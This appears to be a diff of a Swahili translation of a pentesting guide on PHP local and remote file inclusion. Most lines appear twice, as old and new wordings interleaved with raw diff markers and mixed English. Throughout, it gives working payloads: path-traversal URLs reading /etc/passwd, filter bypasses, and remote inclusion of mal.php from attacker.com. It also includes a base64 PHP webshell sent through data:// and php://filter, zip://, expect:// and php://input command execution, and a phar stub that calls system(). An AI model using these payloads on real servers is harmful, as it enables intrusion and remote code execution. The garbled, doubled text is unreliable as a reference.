Hii ime **suluhishwa tangu PHP 5.4**
Hii **imetatuliwa tangu PHP 5.4**
### **Uandishi**
### **Encoding**
Unaweza kutumia uandishi usio wa kawaida kama vile double URL encode (na wengine):
Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na nyingine):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Kutoka kwa folda iliyopo
### Kutoka kwenye kabrasha iliyopo
Labda back-end inakagua njia ya folda:
Labda back-end inakagua njia ya kabrasha:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Kuchunguza Maktaba za Mfumo wa Faili kwenye Seva
### Kuchunguza saraka za mfumo wa faili kwenye seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudi ili kubaini maktaba, si tu faili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha maktaba na kuchunguza uwepo wa folda maalum. Hapa kuna mbinu ya kina ya kufanikisha hili:
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudia ili kubaini saraka, sio tu faili, kwa kutumia mbinu fulani. Mchakato huu unajumuisha kubaini kina cha saraka na kuchunguza uwepo wa saraka maalum. Hapa chini kuna njia ya kina ya kufanikisha hili:
1. **Baini Kina cha Maktaba:** Thibitisha kina cha maktaba yako ya sasa kwa kufanikiwa kupata faili ya `/etc/passwd` (inatumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuwa na muundo kama ifuatavyo, ukionyesha kina cha tatu:
1. **Tambua Kina cha Saraka:** Tambua kina cha saraka yako ya sasa kwa kupata kwa mafanikio faili `/etc/passwd` (inayotumika ikiwa seva inategemea Linux). Mfano wa URL unaweza kutengenezwa kama ifuatavyo, ukionyesha kina cha tatu:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Chunguza kwa Folda:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Kiwango cha ziada cha saraka kinahitaji kuongeza kina kwa moja:
2. **Chunguza Folda:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Ngazi ya ziada ya directory inahitaji kuongeza depth kwa moja:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpret the Outcomes:** Jibu la seva linaonyesha kama folda ipo:
- **Error / No Output:** Folda `private` huenda haipo katika eneo lililotajwa.
- **Contents of `/etc/passwd`:** Uwepo wa folda `private` umethibitishwa.
4. **Recursive Exploration:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa subdirectories au faili kwa kutumia mbinu ileile au mbinu za jadi za Local File Inclusion (LFI).
3. **Tafsiri Matokeo:** Jibu la seva linaonyesha ikiwa kabrasha lipo:
- **Hitilafu / Hakuna Matokeo:** Kabrasha `private` huenda halipo mahali ulilotajwa.
- **Maudhui ya `/etc/passwd`:** Upo wa kabrasha `private` umethibitishwa.
4. **Uchunguzi wa Kurudia:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa saraka ndogo au faili kwa kutumia mbinu ile ile au njia za kawaida za Local File Inclusion (LFI).
Ili kuchunguza directories katika maeneo tofauti katika mfumo wa faili, badilisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina folda `private` (ikiwa folda ya sasa iko kwenye kina cha 3), tumia:
Kwa kuchunguza saraka katika maeneo tofauti kwenye mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kukagua kama `/var/www/` ina kabrasha `private` (ikiwa saraka ya sasa iko kwa kina cha 3), tumia:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Mbinu ya Kukata Njia**
### **Path Truncation Technique**
Kukata njia ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kufikia faili zilizozuiliwa kwa kupita baadhi ya hatua za usalama ambazo zinaongeza wahusika wa ziada mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotakiwa.
Path truncation ni mbinu inayotumika kubadilisha njia za faili katika program za wavuti. Mara nyingi hutumika kufikia faili zilizokatwa kwa kuruka baadhi ya hatua za usalama ambazo huongeza herufi zaidi mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na kipengele cha usalama, bado inaelekeza kwenye faili inayotakiwa.
Katika PHP, uwakilishi mbalimbali wa njia ya faili unaweza kuzingatiwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:
Katika PHP, uwakilishi tofauti wa njia ya faili unaweza kutazamwa sawa kutokana na muundo wa mfumo wa faili. Kwa mfano:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote zinachukuliwa kama njia moja.
- Wakati wahusika 6 wa mwisho ni `passwd`, kuongeza `/` (kuifanya kuwa `passwd/`) hakubadilishi faili inayolengwa.
- Vivyo hivyo, ikiwa `.php` imeongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni hakutabadilisha faili inayofikiwa.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kuwa `passwd/`) haibadilishi faili linalolengwa.
- Vivyo hivyo, ikiwa `.php` imeongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayofunguliwa.
Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia kufikia `/etc/passwd`, lengo la kawaida kutokana na maudhui yake nyeti (taarifa za akaunti za mtumiaji):
Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na yaliyomo nyeti (taarifa za akaunti za watumiaji):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kutofautiana kulingana na usanidi wa seva.
Katika matukio haya, idadi ya traversals inayohitajika inaweza kuwa takriban 2027, lakini idadi hii inaweza kubadilika kulingana na usanidi wa server.
- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuvinjari mfumo wa faili, kwa ufanisi ukipuuza nyongeza za maandiko kutoka kwa seva.
- **Kuhesabu Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuvinjari hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote za maandiko (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama.
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
- **Kutumia Dot Segments na Characters Za Ziada**: Traversal sequences (`../`) zilizochanganywa na dot segments za ziada na characters zinaweza kutumika kusogea kwenye file system, kwa ufanisi zikimpuuza server kuambatisha strings zilizoongezwa.
- **Kukadiria Idadi ya Traversals Zinazohitajika**: Kupitia jaribio na makosa, mtu anaweza kupata idadi sahihi ya `../` zinazohitajika kufika root directory na kisha `/etc/passwd`, kuhakikisha kwamba strings zilizoongezwa (kama `.php`) zimetolewa lakini path inayotakikana (`/etc/passwd`) inabaki kamili.
- **Kuanza na Fake Directory**: Ni desturi ya kawaida kuanza path na directory isiyopo (kama `a/`). Mbinu hii hutumiwa kama tahadhari au kutimiza mahitaji ya logic ya server katika utoaji maana wa paths.
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi.
Unapotumia path truncation techniques, ni muhimu kuelewa tabia ya server ya kutafsiri paths na muundo wa filesystem. Kila tukio linaweza kuhitaji mbinu tofauti, na upimaji mara nyingi unahitajika ili kupata njia yenye ufanisi zaidi.
**Ukatishaji huu ulirekebishwa katika PHP 5.3.**
**This vulnerability was corrected in PHP 5.3.**
### **Hila za kupita vichungi**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika kesi hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
Katika php hii imezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inahitaji kuwa **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili la PHP kutoka kwenye server yako na kupata RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inachuja ufikiaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokali ya data na base64 kufungua msimbo wa PHP wa b64 na kupata RCE:
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inafanya **filtering** kwa ufikaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokoli ya data na base64 ku-decode code ya PHP iliyokuwa b64 na kupata RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Katika msimbo uliopita, `+.txt` ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji mfuatano unaomalizika na `.txt`, hivyo mfuatano unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na msimbo halisi wa PHP utaingizwa (na hivyo, kutekelezwa).
Mfano mwingine **usio tumia itifaki ya `php://`** ungekuwa:
> Katika msimbo uliotangulia, `+.txt` ya mwisho iliongezwa kwa sababu attacker alihitaji string iliyoishia kwa `.txt`, hivyo string inaishia nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na code halisi ya PHP itajumuishwa (na kwa hivyo, itatekelezwa).
>
> Mfano mwingine **bila kutumia protocol ya `php://`** ungekuwa:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
## Kipengele mzizi la Python
Katika python katika msimbo kama huu:
Katika Python, msimbo kama huu:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inondolewa tu**:
Ikiwa mtumiaji atapitisha **absolute path** kwa **`file_name`**, **njia ya awali inaondolewa tu**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Hii ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Ikiwa kipengele ni njia kamili, vipengele vyote vya awali vinatupwa mbali na kuunganishwa kunaendelea kutoka kwa kipengele cha njia kamili.
> Ikiwa kipengee ni absolute path, vipengele vyote vya awali vinatupwa na kuunganishwa kunaendelea kutoka kwenye kipengee cha absolute path.
## Java Orodha ya Maktaba
## Java: Orodha za directories
Inaonekana kama una Path Traversal katika Java na **unaomba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyojua).
Inaonekana kwamba ikiwa una Path Traversal katika Java na unaomba **directory** badala ya faili, **orodha ya directory inarudishwa**. Hii haitatokea katika lugha nyingine (afaik).
## Vigezo 25 vya Juu
## Vigezo 25 Bora
Hapa kuna orodha ya vigezo 25 vya juu ambavyo vinaweza kuwa na udhaifu wa kuingiza faili za ndani (LFI) (kutoka [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa dhaifu kwa local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Hapa kuna orodha ya vigezo 25 vya juu ambavyo vinaweza kuwa na udhaifu wa kuingi
?mod={payload}
?conf={payload}
```
## LFI / RFI kutumia PHP wrappers & protocols
## LFI / RFI kutumia PHP wrappers na protokoli
### php://filter
PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
PHP filters zinaruhusu kufanya operesheni za msingi za **mabadiliko kwenye data** kabla ya kusomwa au kuandikwa. Kuna aina 5 za filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Ondoa lebo kutoka kwa data (kila kitu kati ya herufi "<" na ">")
- Kumbuka kwamba filter hii imeondolewa katika toleo za kisasa za PHP
- `string.strip_tags`: Ondoa tags kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l`
- `convert.iconv.*` : Inabadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono endesha kwenye console: `iconv -l`
> [!WARNING]
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Punguza maudhui (yenye manufaa ikiwa unatoa taarifa nyingi)
- `zlib.inflate`: Rejesha data
- `zlib.deflate`: Inabana maudhui (useful if exfiltrating a lot of info)
- `zlib.inflate`: Inafungua data iliyobanwa
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Imepitwa na wakati
- `mdecrypt.*` : Imepitwa na wakati
- Filters Nyingine
- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
- `mcrypt.*` : Imepitwa
- `mdecrypt.*` : Imepitwa
- Other Filters
- Ukiendesha katika PHP `var_dump(stream_get_filters());` utaweza kupata baadhi ya **filters zisizotarajiwa**:
- `consumed`
- `dechunk`: inarudisha encoding ya HTTP chunked
- `dechunk`: hurejesha HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Sehemu "php://filter" haina tofauti kati ya herufi kubwa na ndogo
> Sehemu "php://filter" haizingatii herufi kubwa/ndogo
### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida
### Kutumia php filters as oracle kusoma faili yoyote
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe kosa.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inatoa mbinu ya kusoma faili ya ndani bila kupata output kurudishwa na server. Mbinu hii inategemea boolean exfiltration of the file (char by char) using php filters as oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya text kuwa kubwa vya kutosha ili php itoke na exception.
Katika chapisho la asili unaweza kupata maelezo ya kina ya mbinu, lakini hapa kuna muhtasari wa haraka:
Katika post ya awali kuna maelezo ya kina ya mbinu, lakini hapa kuna muhtasari mfupi:
- Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa**
- Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
- Wakati herufi ya awali ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
- Tatizo la mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya awali**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
- Na ili kuwa na uwezo wa kupata **data zaidi** wazo ni **kuunda bytes 2 za data za junk mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya iwe **pivot na bytes 2 zinazofuata**, na **ondoa data hadi data za junk** (hii itafuta bytes 2 za kwanza za maandiko ya awali). Endelea kufanya hivi hadi ufikie kipande kinachotakiwa kuvuja.
- Tumia codec **`UCS-4LE`** ili kuweka herufi ya kwanza ya maandishi mwanzoni na kufanya ukubwa wa string kuongezeka kwa kasi ya eksponenti.
- Hii itatumika kuzalisha **text kubwa sana ikiwa herufi ya mwanzo inakisia kwa usahihi** kiasi kwamba php itasababisha **error**
- The **dechunk** filter itakuwa **inaondoa kila kitu ikiwa char ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa char ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi inayokisiwa), itaturuhusu kukisia herufi mwanzoni mwa text kwa kuona wakati tunapofanya mabadiliko ya kutosha kuifanya isiwe karakteri ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litalifanya php kutoa error.
- Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano, kwa sababu tukitumia mara 6 codec hii a->b->c->d->e->f->g herufi haitakuwa tena karakteri ya hexadecimal, hivyo dechunk haitaiondoa na php error itachochewa kwa sababu inazidishwa na bomu la awali.
- Kwa kutumia transform nyingine kama **rot13** mwanzoni inawezekana leak herufi nyingine kama n, o, p, q, r (na codec nyingine zinaweza kutumika kusogeza herufi nyingine katika hex range).
- Wakati char ya mwanzo ni namba inahitajika kuitumia base64 encode na leak herufi 2 za kwanza ili leak namba hiyo.
- Tatizo la mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za text.
- Na ili kuweza kupata **further data** wazo ni **kuzalisha 2 bytes za junk data mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, kisha tumia **UCS-4LE** ili kuifanya ipivot na 2 bytes zinazofuata, na delete data hadi kufikia junk data (hii itaondoa bytes 2 za kwanza za text ya mwanzo). Endelea kufanya hivyo hadi utakapofika sehemu unayotaka leak.
Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Katika post pia kulikuwa na tool ya kufanya hili moja kwa moja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Wrapper hii inaruhusu kufikia waandishi wa faili ambao mchakato umefungua. Inaweza kuwa na manufaa kuhamasisha maudhui ya faili zilizofunguliwa:
Wrapper hii inaruhusu kufikia file descriptors ambazo process imezifungua. Inaweza kuwa muhimu exfiltrate yaliyomo ya opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file descriptors 0, 1 na 2** mtawalia (sijui jinsi hii inaweza kuwa na manufaa katika shambulio)
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **vitambulisho vya faili 0, 1 na 2** mtawalia (sijui jinsi hii inaweza kuwa ya msaada katika shambulio)
### zip:// na rar://
### zip:// and rar://
Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.\
Ili uweze kutumia protokali ya rar **inahitaji kuamuliwa kwa njia maalum**.
Pakia faili la Zip au Rar lenye PHPShell ndani na uifikie.\
Ili uweze kutumia rar protocol vibaya, lazima iwe **imeamilishwa maalum**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Kumbuka kwamba protokali hii imepunguzwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
Kumbuka kwamba itifaki hii imezuiwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
### expect://
Expect inapaswa kuanzishwa. Unaweza kutekeleza msimbo kwa kutumia hii:
Expect lazima iwe imewezeshwa. Unaweza kutekeleza code ukitumia hii:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Faili la `.phar` linaweza kutumika kutekeleza msimbo wa PHP wakati programu ya wavuti inatumia kazi kama `include` kwa ajili ya kupakia faili. Kipande cha msimbo wa PHP kilichotolewa hapa chini kinaonyesha jinsi ya kuunda faili la `.phar`:
Faili la `.phar` linaweza kutumiwa kutekeleza msimbo wa PHP wakati programu ya wavuti inapotumia kazi kama `include` kwa ajili ya kupakia faili. Kipande cha msimbo wa PHP kilichoonyeshwa hapa chini kinaonyesha utengenezaji wa faili la `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,15 +354,21 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Ili kuunda faili la `.phar`, amri ifuatayo inapaswa kutekelezwa:
Ili kuunda faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
```bash
php --define phar.readonly=0 create_path.php
```
Kwa utekelezaji, faili lililoitwa `test.phar` litaundwa, ambalo linaweza kutumika ku exploit Local File Inclusion (LFI) vulnerabilities.
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Katika hali ambapo LFI inafanya tu kusoma faili bila kutekeleza PHP code ndani yake, kupitia kazi kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, kujaribu exploit udhaifu wa deserialization kunaweza kufanywa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protokali ya `phar`.
Katika utekelezaji, faili inayoitwa `test.phar` itaundwa, ambayo inaweza kutumika ku-exploit Local File Inclusion (LFI) vulnerabilities.
Kwa ufahamu wa kina wa jinsi ya ku exploit udhaifu wa deserialization katika muktadha wa faili za `.phar`, rejelea hati iliyo na kiungo hapa chini:
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
Katika kesi ambapo LFI inasoma tu faili bila kutekeleza PHP code ndani yake — kupitia functions kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()` — inaweza kujaribu exploitation ya deserialization vulnerability. Udhaifu huu unahusiana na kusoma faili kwa kutumia protocol ya `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Kwa uelewa wa kina wa jinsi ya ku-exploit deserialization vulnerabilities katika muktadha wa faili za `.phar`, rejea hati iliyo linkiwa hapa chini:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,76 +379,92 @@ phar-deserialization.md
### CVE-2024-2961
Ilikuwa inawezekana kutumia **faili yoyote isiyo na mpangilio iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa vibaya ili **kubadilisha mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
### Protokali zaidi
Ilikuwa inawezekana kutumia mbaya **any arbitrary file read from PHP that supports php filters** ili kupata RCE. Maelezo ya kina yanaweza ku [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muhtasari mfupi: **3 byte overflow** kwenye heap ya PHP ulitumiwa vibaya ili **alter the chain of free chunks** za ukubwa fulani ili kuweza **write anything in any address**, hivyo hook iliongezwa ili kuita **`system`**.\
Ilikuwa inawezekana ku-alloc chunks za ukubwa maalum kwa kutumia vibaya php filters zaidi.
Angalia protokali zaidi [ **za kuingiza hapa**](https://www.php.net/manual/en/wrappers.php)**:**
### More protocols
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika kumbukumbu au katika faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mito ya Compression
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi chochote kinachoweza kuchapishwa, hivyo si kweli muhimu hapa)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
